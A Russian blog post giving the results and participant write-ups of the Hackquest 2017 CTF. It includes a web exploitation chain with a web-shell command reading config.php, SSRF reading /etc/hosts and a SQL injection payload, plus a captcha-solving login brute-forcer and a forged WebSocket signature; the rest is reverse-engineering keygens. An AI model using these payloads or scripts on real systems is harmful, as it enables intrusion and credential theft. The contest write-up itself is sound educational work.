Hackquest 2017. Results & Writeups

в 12:36, , рубрики: ctf, hackquest, zeronights, Блог компании «Digital Security», информационная безопасность

image

Семь дней и семь интересных заданий — это наиболее ёмкое описание ежегодного хакквеста перед Zeronights. В этом году темы заданий оказались более разнообразными, что позволило сделалать квест интересным для большего числа участников. Прочитав данную статью, вы сможете ознакомиться с решением всех заданий, а также узнать имена победителей.


Day 1. WebPWN

Первый день начался с классического Web. Задание от ONSEC состояло из эксплуатации таких уязвимостей, как частичный обход авторизации, command injection, sql injection, SSRF. Последовательно воспользовавшись каждой из них, можно было получить rce и прочитать флаг. Около 1800 человек пыталось решить это задание.

Победители
1 место 2 место 3 место
blackfan
DarkCaT
kreon

Также решили: ilyaluk, raz0r, akamajoris, kurlikasd, poneev, shvetsovalex007, leon+zeronights, mohemiv

1st day writeup. (by blackfan)

Try to save a company from the Initial Coin Offering (ICO) and consequent loss of money.
http://zeroevening.org

http://zeroevening.org/

image

Сайт с заданием представляет собой почти пустую страницу. Из интересного — только html комментарий.

<!-- updated page via bitbucket 23.10.2017 -->
http://bitbucket.zeroevening.org/

http://bitbucket.zeroevening.org

Находим поддомен с bitbucket v4.7.1, который уязвим к частичному обходу авторизации.

http://bitbucket.zeroevening.org/admin%20/server-settings

image

http://git-admintools.zeroevening.org

Из настроек узнаем о поддомене git-admintools.zeroevening.org, на котором расположен скрипт, позволяющий сделать git clone --recursive по произвольному URL. Файлы сохраняются в веб-директорию /repos/%repo_name%/.

image

В данном задании предполагалось использование CVE-2017-1000117, но я пошел более простым путем и скопировал проект с кучей готовых пейлоадов PayloadsAllTheThings. Оказалось, что расширения pht и phtml не были заблокированы и я сразу получил готовый шелл.

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml

image

Читаем config.php и идем на следующий поддомен.

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php

image

http://dev-cyberplatform-ico.zeroevening.org

http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg

На данном сайте через параметр url можно сделать SSRF и чтение произвольных файлов, результат попадает на страницу в виде base64 картинки. Я потратил довольно много времени на поиски исходного кода или конфигов, пока не наткнулся на /etc/hosts.

http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts

image

172.18.0.3  83c994f72770

Пробуем соседние IP и находим скрипт с SQL Injection.

http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4–%2b-

Читаем install.php и находим пароли для jenkins.

mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');");
mysql_query("DROP TABLE jenkins_users");
mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");

Находим поддомен jenkins, авторизуемся под bomberman и получаем RCE.

http://jenkins.zeroevening.org/computer/(master)/script

image

Находим флаг, сдаем и… ничего не происходит, потому что в флаге, который лежал на сервере была опечатка. Я подумал, что это какой-то троллинг и задание нужно ковырять еще глубже, но, ничего не найдя, пошел спать. В итоге все-таки оказался первым и получил инвайт.


Day 2. Petrovkey

Второй день состоял из большого таска от R0crew на reverse engineering. Необходимо было разобраться с несколькими слоями «упаковки» бинарного файла. Изначальный файл представлял собой виртуальную машину, работающую внутри исполняемого файла на языке Go. В общей сложности файл был скачан более 250 раз.

Победители
1 место 2 место
vient
Felis-Sapiens

2nd day writeup. (by vient)

Your friend works in an antivirus company. He developed a new algorithm for generating a license key and asks you to test it.

Нам дан архив с исполняемым файлом ELF x86_64 "petrovavlic". Недолго думая, открываем его в IDA, и видим, что он запакован UPX 3.94. Сам UPX распаковать его не может, автор вырезал имена секций. Каким-нибудь образом его распаковываем, например, восстановлением названий, и продолжаем.

По строкам из распакованного файла сразу понятно, что он написан на Go. Из них же и узнаем об авторе задания.

00000fb0: 2800 0000 0400 0000 476f 0000 3766 6661  (.......Go..7ffa
00000fc0: 3865 6437 3736 6134 3236 3237 3165 3864  8ed776a426271e8d
00000fd0: 6664 3937 3062 3530 6330 3163 6637 3666  fd970b50c01cf76f

0024e7e0: 44eb 0900 2f68 6f6d 652f 6b72 656f 6e2f  D.../home/kreon/
0024e7f0: 476f 676c 616e 6450 726f 6a65 6374 732f  GoglandProjects/
0024e800: 7461 736b 3230 302f 766d 2e67 6f00 002f  task200/vm.go../
0024e810: 686f 6d65 2f6b 7265 6f6e 2f47 6f67 6c61  home/kreon/Gogla
0024e820: 6e64 5072 6f6a 6563 7473 2f74 6173 6b32  ndProjects/task2
0024e830: 3030 2f6d 6169 6e2e 676f 0000 2f68 6f6d  00/main.go../hom
...

Бинарь постриплен — стандартная отладочная информация отсутствует. К счастью, в Go для рефлексии в секции .gopclntab сохраняются названия всех функций, и легко найти готовые скрипты для их восстановления, например, этот.

Все названия восстановлены — направляемся прямиком в main.main.

Side note: в golang используется нестандартное соглашение о вызовах. В x86_64 стандартным является только одно, fastcall. В golang не используются регистры для передачи параметров, а возвращаемые значения (их может быть больше одного QWORD) кладутся на стек. Это доставляет определённые неудобства при использовании Hex-Rays

Там происходит примерно это:

main.__pre__start()
fmt.Println("PetrovAntivirus Activator")
fmt.Print( "Please enter a valid email: ")
bufio._p_Reader_.ReadString(email)
main.__check__email(email)
fmt_Print( "Please enter an activation key: ")
bufio._p_Reader_.ReadString(key)
main.__check__key(key)
table = main.__gen__table(email, key)
main.__check_key_e(email, key, table)

Разберём вызовы по порядку.

main.__pre__start(): устанавливаются обработчики сигналов и происходит несколько системных вызовов SYS_ptrace с параметром PTRACE_TRACEME. Таким образом, в том числе, становится невозможно дебажить бинарь. Для нормального дебага можно вырезать установку сигналов и системные вызовы. Почему нельзя просто вырезать вызов main.__pre__start()? Для получения номеров системных вызовов используется функция main._p_syscall__table.__get__syscall__id, в которой находится большой свитч. Он смотрит текущее значение системного вызова, определает по нему следующий и сохраняет. Таким образом, если не вызвать эту функцию один раз, все её дальнейшие результаты окажутся невалидны.

main.__check__email(email): почта просто проверяется на нормальный вид.

main.__check__key(key): проверяется, что ключ имеет вид XXXX-XXXX-XXXX-XXXX-XXXX-XXXX, где X это [0-9A-Z].

main.__gen__table(email, key): тут начинаются первые сложности. Подсчитывается сумма 5 и 6 блоков ключа (ord(key[0]) + ...), также подсчитывается MD5 почты, и этот хеш никак не используется. Делается sprintf("%02X%02X", ...) для email[0:1] и email[4:5], далее для этих строк из 4 символов по тому же принципу подсчитываются суммы. Затем считается результат, пара чисел:

syscall_id_1 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_2 = main__p_syscall__table____get__syscall_id(&a1);
table[0] = Part5_sum + 4 * syscall_id_1 * syscall_id_2 + EMAIL__0_1_sum;
syscall_id_3 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_4 = main__p_syscall__table____get__syscall_id(&a1);
table[1] = Part6_sum& + 2 * syscall_id_3 * syscall_id_4 + EMAIL__4_5_sum;

Таким образом, в расчёте неких двух чисел участвует email и последние 2 блока ключа.

И вот мы подошли к главной функции: main.__check_key_e(email, key, table). Почти первой же строчкой идёт такой вызов github_com_Shopify_golua_NewState();. Название говорит само за себя, это модуль для исполнения Lua в Go. Таким образом, где-то в бинаре спрятан проверочный скрипт на Lua.

Далее по ходу функции нужно выделить вызовы github_com_Shopify_golua__p_State__Register, которые регистрируют в виртуальной машине Lua внешние функции, написанные на Go. Таких внешних функций 4: getkey — получение key в виде 6 блоков, getmail — получение email, goodkey — сообщение об успехе, badkey — о неудаче. После этого происходит github_com_Shopify_golua__p_State__Load(...) и сразу за ним github_com_Shopify_golua__p_State__ProtectedCall(...), то есть запускается проверочный скрипт.

Откуда берётся проверочный скрипт? Исходный код go-lua говорит, что первым аргументом в Load идёт io.Reader, из которого читается скрипт. io.Reader — это интерфейс, в котором есть всего один метод: Read. Поискав функции с _Read в названии, находим интересную _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read. Её полный код с небольшими изменениями:

__int64 __usercall _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read@<rax>(_QWORD *a1, _BYTE *a2, unsigned __int64 a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = qword_6B69F8;
  v4 = a1[2] - a1[4];
  if ( (signed __int64)a3 <= v4 )
    v4 = a3;
  for ( i = 0LL; (signed __int64)i < v4; ++i )
  {
    v6 = a1[4];
    j = v6 + *a1;
    if ( j >= qword_6AF6A8 || (v8 = EncBlob[j], k = a1[1] + v6, k >= qword_6AF6A8) || (v10 = EncBlob[k] ^ v8, i >= a3) )
      runtime_panicindex(a2, a3, a1);
    a2[i] = v10;
    ++a1[4];
  }
  if ( a1[4] >= a1[2] )
    result = v3;
  else
    result = 0LL;
  return result;
}

Видно, что a[0] и a[1] — это некоторые оффсеты в EncBlob, по которым находится 2 массива. В цикле берутся последовательные элементы из этих массивов и ксорятся. Логично предположить, что в этом массиве и спрятан скрипт.

Для поиска скрипта можно перебрать все возможные оффсеты, поксорить пару чисел из этих адресов и посмотреть на результат. Мы уже знаем, что в скрипте вызываются функции goodkey и badkey, можно поискать DWORD 'good' и найти нужные оффсеты: 23620 и 195814 (о чём и была третья подсказка). Также можно заметить, что перед вызовом Load создаётся объект Reader, в который в [0] и [1] записываются наши результаты __gen__table. Значит, для подсчитанных в __gen__table значений известно, какими они должны быть, следовательно, это тоже проверка ключа.

Исходный код скрипта (с небольшим рефакторингом)

local KEY = getkey()
local MAIL = getmail()
local keypart_sums = {}
local M = {}
local keypart_it = 1
local MAIL_extended = ""
local MAIL_ext_sums = {1,1,1,1}

keypart_it = 1
for i=1,4 do
    local keypart_sum = 0 
    local keypart_len = 0 
    for c=1,KEY[i]:len() do 
        keypart_sum = keypart_sum + KEY[i]:byte(c) 
        keypart_len = keypart_len +1 
    end 
    if keypart_len ~= 4 then 
        return badkey() 
    end 
    keypart_sums[keypart_it] = keypart_sum 
    keypart_it = keypart_it +1 
end 

for i=1,4 do 
    for j=1,4 do 
        M[(i - 1) * 4 + j] = (keypart_sums[i] + keypart_sums[j]) % 169 
    end 
end 

while string.len(MAIL_extended) < 64 do 
    MAIL_extended = MAIL_extended .. MAIL 
end 

keypart_it = 1 
local MAIL_ = 1 
for c=1,64 do 
    MAIL_ext_sums[MAIL_] = MAIL_ext_sums[MAIL_] + MAIL_extended:byte(c) 
    MAIL_ = MAIL_ + 1 
    keypart_it = keypart_it + 1 
    if MAIL_ == 5 then 
        MAIL_ = 1 
    end 
end 

for i=1,4 do 
    MAIL_ext_sums[i] = MAIL_ext_sums[i] % 13 
end 

keypart_it = 1 
for i=1,16,5 do 
    M[i] = MAIL_ext_sums[keypart_it] 
    keypart_it = keypart_it + 1 
end 

local v________ = {} 
for i=1,4 do 
    s = 0 
    for j=1,4 do 
        s = s + M[(j - 1)*4 + i] 
    end 
    v________[s] = 1 
end 

local pairs_num = 0 
for k,v in pairs(v________) do 
    pairs_num = pairs_num + 1 
end 

if pairs_num == 1 then 
    goodkey() 
else 
    badkey() 
end

Вкратце, в скрипте также считаются суммы кодов символов, складываются друг с другом в матрицу 4х4, туда же записываются суммы кодов символов в email, и проверяется, что суммы столбцов матрицы равны между собой.

У нас есть все проверки. Чтобы с их помощью сгенерировать ключ, можно использовать z3. Полный скрипт лежит в keygen.py, в нём мы создаём символический ключ и добавляем в решатель все найденные ограничения, затем z3 за нас подбирает решение системы.

keygen.py

import sys
sys.path.append(r'C:toolsz3-4.5.0-x64-winbinpython')

from z3 import *
init(r'C:toolsz3-4.5.0-x64-winbin')

mail = 'zn2017@reverse4you.org'

cons = True
def add_con(con):
    global cons
    cons = And(cons, con)

key = [[Int('key_{}_{}'.format(i, j)) for j in range(4)] for i in range(6)]

# for i in range(len(key)):
#     add_con((key[i][0] + key[i][1] + key[i][2]) % 5 == key[i][3] % 3)

for i in range(len(key)):
    for j in range(len(key[i])):
        add_con(
            Or(
                And(key[i][j] >= ord('0'), key[i][j] <= ord('9')),
                And(key[i][j] >= ord('A'), key[i][j] <= ord('Z'))))

keypart_sums = [sum(key[i]) for i in range(len(key))]

m = [[None for j in range(4)] for i in range(4)]
for i in range(4):
    for j in range(4):
        m[i][j] = (keypart_sums[i] + keypart_sums[j]) % 169

mail_ext = (mail * 100)[:64]
mail_sums = [sum(map(ord, mail_ext[i::4]), 1) % 13 for i in range(4)]
for i in range(4):
    m[i][i] = mail_sums[i]

col_sums = [sum(m[j][i] for j in range(4)) for i in range(4)]

add_con(col_sums[0] == col_sums[1])
add_con(col_sums[1] == col_sums[2])
add_con(col_sums[2] == col_sums[3])

add_con(sum(map(ord, '%02X%02X' % (ord(mail[0]), ord(mail[1])))) + 0x5A1C + keypart_sums[4] == 0x5C44)
add_con(sum(map(ord, '%02X%02X' % (ord(mail[4]), ord(mail[5])))) + 0x2FABE + keypart_sums[5] == 0x2FCE6)

# print(cons)
cons = simplify(cons)
# print(cons)

s = Solver()
s.add(cons)
print(s.check())
model = s.model()
print('-'.join(''.join(chr(model[key[i][j]].as_long()) for j in range(4)) for i in range(6)))


Day 3. YouAreWelcome

На третий день участников снова ждал Web (таск от SibearCTF). В начале задание могло показаться простым, однако, как выяснилось позже, капча и брут пароля остановили всех, кроме одного участника, который и стал победителем. Всего задние пыталось решить 480 человек.

Победитель
1 место
Paul_Axe

3rd day writeup. (by Paul_Axe)[eng]

The competition is not over yet. You still have the opportunity to get the flag: http://zeronights.sibirctf.org/2017/

  1. XSS in feedback form. Got access to moderator account. Nothing useful here though, except the list of approved accounts.
  2. Trying to register own team — got password to email. Password is 4 digits, so can be easily bruteforced.
  3. Login form is protected with simple captcha. Wrote simple script using pytesseract https://github.com/madmaze/pytesseract to recognize captcha and bruteforce login form. After 10 minutes got password for one of approved team account.

    import sys                                                                 
    import io                   
    import re                     
    import requests                     
    import pytesseract            
    from PIL import Image  
    from multiprocessing import Pool
    
    def get_cap():    
        URL = "http://zeronights.sibirctf.org/2017/sign_up"                                        
        CAP_URL = "http://zeronights.sibirctf.org/captcha/image/"
        r = requests.get(URL)                                    
        res = r.text                      
        h = re.findall("/captcha/image/([a-f0-9]+)/", res)[0]         
        img_f = io.BytesIO(requests.get(CAP_URL+h+"/").content)
        c = pytesseract.image_to_string(Image.open(img_f), config="./tesseract.config")
        return (h, c)   
    
    def brute(x):
        URL = "http://zeronights.sibirctf.org/2017/login"
        email = "keva_a78ff3@sibirctf.org"
    
        h, c = get_cap()
        r = requests.post(URL, data={
            "_username": email,
            "_password":str(x),
            "captcha_0": h,
            "captcha_1": c
            })
        if (r.status_code) != 400:
            print(email, x)
            sys.exit(0)
    
    pool = Pool(10)
    pool.map(brute, range(1000,10000))
    pool.close()
    pool.join()

  4. Approved user accounts have WebSocket-based chat window. Every WebSocket message should contain signature which authorizes sender. Unfortunately, existing signatures was incorrect. Actually signature was md5('10'), while my user account id was 4. Tried use md5('4') and it worked.
        var my_user_id = 4,
            my_sign = "d3d9446802a44259755d38e6d163e820";
  5. There was two possible message types: "new" — subscribe to new messages and "message" — send the message to somebody. Sending messages to admin account was useless, so i decided to subscribe to new messages for admin account using md5('1') as a signature.

    var uid = 1;
    var sign = 'c4ca4238a0b923820dcc509a6f75849b';
    ws = new WebSocket("ws://13.93.88.79:8001/");
    ws.onmessage = function(e) {
        try {
            console.log(JSON.parse(e.data))
        } catch(Exception ) {
            console.log((e.data))
        }
    }
    
    ws.onopen = function(){
        ws.send(JSON.stringify({
            'type': 'new',
            'userid': uid,
            'signature': sign
        }));
    };

  6. Seems like there was some issues with bot, sending flag messages to admin account, but after a while i got it.
    w0w_c0n6r47ul4710n_m337_47_z3r0n16h75


Day 4. Remansory challenge

Четвертый день представлял собой цепочку заданий нарастающей сложности от R0crew. Первое звено цепочки было самым простым и его смогли пройти 20 человек. Второе звено оказалось по силам для 6 человек, а до решения последнего добрались только двое. Подробное описание каждого этапа можно найти под спойлером.

Победители
1 место 2 место 3 место
sysenter
AV1ct0r
Felis-Sapiens

Также решил: Aleksey Cherepanov

4th day writeup. (by sysenter)

You received an invitation to join the Masonic lodge of reverse engineers. But it's not so simple. You must complete the initiation and solve 4 tasks in one day. Good luck! You will find us in the telegram (@remasonry_bot)

Task #1

Имеется PE32 exe файл. Строки:
Hackquest 2017. Results & Writeups - 9

Подаем user_id и какой-нибудь пароль, смотрим, что программа с ними делает.
Hackquest 2017. Results & Writeups - 10

Подменим содержимое bytesUserId на "I'm ready!!!!" (не забудем, обновить размер буфера для DIV EBX) и пропатчим немного программу.
Hackquest 2017. Results & Writeups - 11

После выполнения цикла szSalt содержит наш пароль.
Hackquest 2017. Results & Writeups - 12

Task #2 packer

Есть программа для распаковки архивов неизвестного формата и набор файлов, которые нужно в такой архив упаковать.
Никаких обфускаций, защит и прочего, очень простой формат. Приведу его описание.
Hackquest 2017. Results & Writeups - 13
По этой информации не составляет труда написать упаковщик.
Не забываем про ограничение в 1 мегабайт, так что все повторяющиеся файлы сохраняем только один раз в FD.

Программа для чтения:

task2.py

import struct

data = open('2017.zn', 'br').read()
position = 0
lst_position = 0

def read_dword():
    global data, position, lst_position
    value = struct.unpack('<L', data[position:position + 4])[0]
    lst_position = position
    position += 4
    return value

def read_raw(n):
    global data, position, lst_position
    value = data[position:position+n]
    lst_position = position
    position += n
    return value

magic = read_dword()
print('%04x' % lst_position, 'magic'.rjust(20, ' '), hex(magic))

version = read_dword()
print('%04x' % lst_position, 'version'.rjust(20, ' '), hex(version))

student_pack = read_raw(12)
print('%04x' % lst_position, 'student_pack'.rjust(20, ' '), student_pack)

FILE_END_OFFSET = read_dword()
print('%04x' % lst_position, 'FILE_END_OFFSET'.rjust(20, ' '), hex(FILE_END_OFFSET))

ZN3_SIZE = read_dword()
print('%04x' % lst_position, 'ZN3_SIZE'.rjust(20, ' '), hex(ZN3_SIZE))

ZN1_AND_ZN3_SIZE = read_dword()
print('%04x' % lst_position, 'ZN1_AND_ZN3_SIZE'.rjust(20, ' '), hex(ZN1_AND_ZN3_SIZE))

ZN2_OFFSET = read_dword()
print('%04x' % lst_position, 'ZN2_OFFSET'.rjust(20, ' '), hex(ZN2_OFFSET))

ZN0_OFFSET = read_dword()
print('%04x' % lst_position, 'ZN0_OFFSET'.rjust(20, ' '), hex(ZN0_OFFSET))

data = data[position:]

ZN3_OFFSET = 0
ZN3_SIZE = ZN3_SIZE

ZN1_OFFSET = ZN3_OFFSET + ZN3_SIZE
ZN1_SIZE = ZN1_AND_ZN3_SIZE - ZN3_SIZE

FD_OFFSET = ZN3_OFFSET + ZN1_AND_ZN3_SIZE
FD_SIZE = ZN2_OFFSET - ZN1_AND_ZN3_SIZE

#ZN2_OFFSET
ZN2_SIZE = ZN0_OFFSET - ZN2_OFFSET

#ZN0_OFFSET
ZN0_SIZE = FILE_END_OFFSET - ZN0_OFFSET

print('ZN3', hex(ZN3_OFFSET), hex(ZN3_SIZE))    # folder - folder descriptors
print('ZN1', hex(ZN1_OFFSET), hex(ZN1_SIZE))    # file - folder descriptors
print('FD', hex(FD_OFFSET), hex(FD_SIZE))       # DATA
print('ZN2', hex(ZN2_OFFSET), hex(ZN2_SIZE))    # filename descriptors
print('ZN0', hex(ZN0_OFFSET), hex(ZN0_SIZE))    # filedata descriptors

for i in range(ZN3_OFFSET, ZN3_OFFSET + ZN3_SIZE, 0xC):
    print(struct.unpack('<LLL', data[i:i+0xC]))

print('separator1')

for i in range(ZN0_OFFSET, ZN0_OFFSET + ZN0_SIZE, 0xC):
    print(struct.unpack('<LLL', data[i:i+0xC]))

print('separator2')

Программа для упаковки:

task2_packer.py

import struct
import os

magic = 0x30324e5a
version = 0x3731

FOLDERS = []
FOLDERS_mirr = []
FILES = []
FILENAMES = []
FILENAMES_real = []
FILEDATAINFO = []
FILEDATA = b''

TARGET_FOLDER = 'pack_me'

FOLDERS_mirr += [TARGET_FOLDER]
FILES_mirr = []

for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
    for subdirname in dirnames:
        FOLDERS += [(len(FOLDERS) + 1, FOLDERS_mirr.index(dirname), len(FILENAMES))]
        FOLDERS_mirr += [dirname + '\' + subdirname]
        FILENAMES += [(dirname + '\' + subdirname, 1)]

for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
    for flnm in filenames:
        FILES += [(len(FILES), FOLDERS_mirr.index(dirname), len(FILENAMES))]
        FILES_mirr += [dirname + '\' + flnm]
        FILENAMES += [(dirname + '\' + flnm, 0)]

for idx, x in enumerate(FILENAMES):
    fn = FILENAMES[idx][0].split('\')[-1]
    FILENAMES_real += [(idx, len(fn), fn.encode('utf-8'))]

for idx, x in enumerate(FILENAMES):
    if x[1] == 0:
        fdata = open(x[0], 'rb').read()
        if fdata not in FILEDATA:
            FILEDATA += fdata
        offset = FILEDATA.index(fdata)
        fsize = len(fdata)
        FILEDATAINFO += [(FILES_mirr.index(x[0]), offset, fsize)]

zn_new_offset = [0 for i in range(5)]
zn_new_size = [0 for i in range(5)]

DATA = b''

for x in FOLDERS:
    DATA += struct.pack('<LLL', *x)

zn_new_size[3] = len(DATA)
zn_new_offset[1] = len(DATA)

for x in FILES:
    DATA += struct.pack('<LLL', *x)

zn_new_size[1] = len(DATA) - zn_new_offset[1]
zn_new_offset[4] = len(DATA)

DATA += FILEDATA

zn_new_size[4] = len(DATA) - zn_new_offset[4]
zn_new_offset[2] = len(DATA)

for x in FILENAMES_real:
    DATA += struct.pack('<LL', x[0], len(x[2])) + x[2]

zn_new_size[2] = len(DATA) - zn_new_offset[2]
zn_new_offset[0] = len(DATA)

for x in FILEDATAINFO:
    DATA += struct.pack('<LLL', x[0], x[1], x[2])

zn_new_size[0] = len(DATA) - zn_new_offset[0]

print([hex(d) for d in zn_new_offset], [hex(d) for d in zn_new_size])

FILE_END_OFFSET = zn_new_offset[0] + zn_new_size[0]
ZN3_SIZE = zn_new_size[3]
ZN1_AND_ZN3_SIZE = zn_new_size[3] + zn_new_size[1]
ZN2_OFFSET = zn_new_offset[2]
ZN0_OFFSET = zn_new_offset[0]
HEADER = struct.pack('<LL', magic, version) + TARGET_FOLDER.encode('utf-8') + b'x00' + struct.pack('<LLLLL', FILE_END_OFFSET, ZN3_SIZE, ZN1_AND_ZN3_SIZE, ZN2_OFFSET, ZN0_OFFSET)
open('new.zn', 'wb').write(HEADER + DATA)

Task #3 random.apk

Задание, по словам организатора, было с багом, так что всем просто сообщали ответ.
Разберем его тоже.

Имеется apk файл, который ожидает ввода некоторой строки.
Восстановим алгоритм проверки.

code

import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class Main {
    //private static final String base64chars = "A2CTEFGHnJKLMNsPQ7SDlVvXYZabcdefghijkUmIopqrOtuWwxyz01B3456R89+/";

    private static String CalcMD5(String paramString) throws NoSuchAlgorithmException {
        MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
        localMessageDigest.update(paramString.getBytes(), 0, paramString.length());
        return new BigInteger(1, localMessageDigest.digest()).toString(16);
    }

    //

    private static long Random(long paramLong) {
        return (0xFFFFFFF & 11L + 252149039L * paramLong) >> 8;
    }

    private static long RandomSkip50(long paramLong) {
        for (int i = 0; i < 50; i = i + 1) {
            paramLong = Random(paramLong);
        }
        return paramLong;
    }

    private static String RandomGetString(String paramString, long paramLong) {
        String str = "";
        for (int i = 0; i < 32; i++) {
            paramLong = Random(paramLong) & 0xFF;
            str += paramLong ^ paramString.charAt(i);
        }
        return str;
    }

    public static void main(String[] args) throws NoSuchAlgorithmException {
        String str = "INPUT_HASH_HERE"; // CalcMD5("SuperAndroidChallenge"); // baaee25a694971ac1e6dde4b2e8b1386
        String[] arrayOfString = new String[500];
        for (int i = 0; i < arrayOfString.length; i++) {
            arrayOfString[i] = RandomGetString(str, RandomSkip50(i));

        }
        int j = 0;
        for (int k = 0; k < arrayOfString.length; k++) {
            j += arrayOfString[k].length();
        }
        if (j == 40762) {
            System.out.println("OK");
        }
    }
}

В первую очередь, попытаемся найти хеш, который пройдет контрольную проверку.
Алгоритм проверки сводится к суммированию длины некоторого набора строк (500 штук).

Каждая строка генерируется как конкатенация тридцати двух десятичных чисел, каждое из которых — это xor гаммы и одного символа хеша (в строковом представлении, нижний регистр).

Обращаем внимание, что гамма не зависит от хеша, так что её можно считать константной (зависит только от строки и колонки).
Её можно вычислить заранее и сохранить в файл. Получится таблица 500x32 элементов.
Ниже, для примера, приведено несколько первых строк таблицы.
Hackquest 2017. Results & Writeups - 14

Очевидно, десятичное число после xor с символом хеша может быть длины 1, 2 или 3.

Зная, что символы хеша могут принимать только значения из диапазона [a-f0-9], можно однозначно определить длину результирующего десятичного числа на некоторых позициях, в то время как на других свести в точности к двум вариантам (подтверждено практически).

Преобразовываем таблицу так, чтобы её элементами были списки возможной длины результирующего десятичного числа.

На данном этапе контрольное число 40762 – это сумма значений всей таблицы.
Понятно, что можно беспрепятственно вычесть из контрольного числа минимум каждого элемента (который является списком) таблицы, не забыв при этом уменьшить и соответствующие значения самого списка. Теперь контрольное число это 3449. А таблица будет состоять из элементов двух типов: [0] и [0, 1].

Рассмотрим один столбец такой таблицы. Попробуем представить все возможные комбинации из элементов [0, 1]. Ясно, что существуют невозможные варианты, которые нельзя получить, зафиксировав букву хеша. Поэтому, во время поиска решения, необходимо использовать только допустимые расстановки 0 или 1.
Зафиксируем букву хеша в некоторой позиции (от 0 до 31, включительно), так весь столбец таблицы, соответствующий этой позиции, примет однозначные значения. Просуммируем столбец и запишем в список (без повторений). Повторим эту операцию для всех остальных возможных символов хеша.
Теперь для каждой позиции у нас есть массив возможных вкладов колонки в общую сумму.

[100, 103, 94, 102, 97, 98, 95]
[109, 123, 108, 115, 114, 111, 112]
[103, 116, 122, 114, 95, 93, 97, 112, 119]
[121, 100, 107, 125, 105, 124, 90, 104, 120]
[100, 101, 103, 87, 105, 102, 91, 95]
[121, 109, 123, 126, 110, 102, 118, 90, 119]
[100, 101, 128, 82, 119, 118, 88, 134, 130]
[121, 127, 106, 122, 97, 112, 88, 119]
[103, 116, 92, 111, 112, 110, 88]
[128, 81, 80, 92, 90, 104, 91, 131, 95]
[123, 127, 126, 93, 102, 104, 124, 98]
[117, 133, 100, 123, 108, 142, 96, 119]
[117, 109, 133, 103, 93, 112, 110, 88, 134]
[75, 71, 101, 129, 116, 110, 102, 91, 130]
[98, 87, 94, 93, 148, 86, 149]
[100, 158, 103, 90, 88, 83, 95]
[87, 84, 86, 90, 88, 89, 145]
[100, 101, 103, 150, 93, 151, 89, 95]
[117, 108, 105, 166, 165, 111, 93, 96]
[117, 100, 107, 150, 114, 90, 110, 83, 149]
[117, 99, 116, 114, 112, 152, 88, 96, 154]
[108, 101, 103, 99, 153, 111, 102, 156]
[117, 176, 101, 99, 80, 122, 96, 167]
[77, 117, 140, 138, 102, 86, 118]
[101, 99, 158, 159, 104, 102, 90, 96, 95]
[109, 101, 115, 84, 111, 143, 90]
[107, 82, 168, 161, 102, 90, 96, 98, 95]
[71, 108, 158, 94, 85, 86, 162, 88, 106]
[75, 71, 80, 94, 92, 93, 148, 91]
[100, 99, 150, 93, 155, 83, 95]
[133, 109, 142, 87, 113, 94, 93, 85, 91]
[74, 135, 76, 80, 94, 92, 88, 149]

Решение задачи сводится к нахождению всех комбинаций «по одному элементу из каждого списка», сумма которых равна контрольному числу 3449, что по сути является частным случаем задачи об укладке ранца.
Для решения воспользуемся Z3 (SMT решатель).

from z3 import *
STUFF = [[100, 95, 98, 94, 102, 97, 103], … [88, 74, 76, 92, 80, 149, 94, 135]]
s = Solver()
chars = []
for i in range(len(STUFF)):
   chxr = Int('c_%d' % i)
   s.add(Or([chxr == STUFF[i][j] for j in range(len(STUFF[i]))]))
   chars += [chxr]
s.add(Sum(*chars) == 3449)
while s.check() == sat:
  mod = s.model()
  d = [mod[Int('c_%d' % i)] for i in range(32)]
  print(d) 
  s.add(Not(And([Int(str(xx)) == mod[xx] for xx in mod])) )

Немного подождав, получим не меньше 18к вариантов решений.
Однако каждое из таких решений может дать далеко не одно подходящее значение хеша.
Так, например, решение:

[100, 123, 122, 125, 105, 126, 134, 127, 116, 131, 127, 117, 134, 116, 149, 103, 84, 89, 93, 83, 88, 99, 80, 77, 90, 143, 107, 71, 148, 83, 85, 74]

распадается на всевозможные значения хеша, удовлетворяющие регулярному выражению:

^[6789][89][45][01][89][89][89][89][0123][f][01][23][de][01][de][a][23][bc][89][bc][bc][bc][89][bc][bc][def][a][89][def][89][bc][45]$

Примеры:

684088880f02d0da2b8bbb8ccfa9e9c4
684088880f02d0da2b8bbb8ccfa9e9c5
684088880f02d0da2b8bbb8ccfa9f8b4
684088880f02d0da2b8bbb8ccfa9f8b5
684088880f02d0da2b8bbb8ccfa9f8c4
684088880f02d0da2b8bbb8ccfa9f8c5
684088880f02d0da2b8bbb8ccfa9f9b4

Итого: Задача имеет огромное множество решений, вопрос только в обращении md5 хеша.

Task #4 pythonre

Задание представляет собой собранную в exe программу на языке Python.
Извлекаем pyc файл.
Процесс перезапускает себя, так что перехватим CreateProcessW, поправим CreationFlags, приаттачимся.
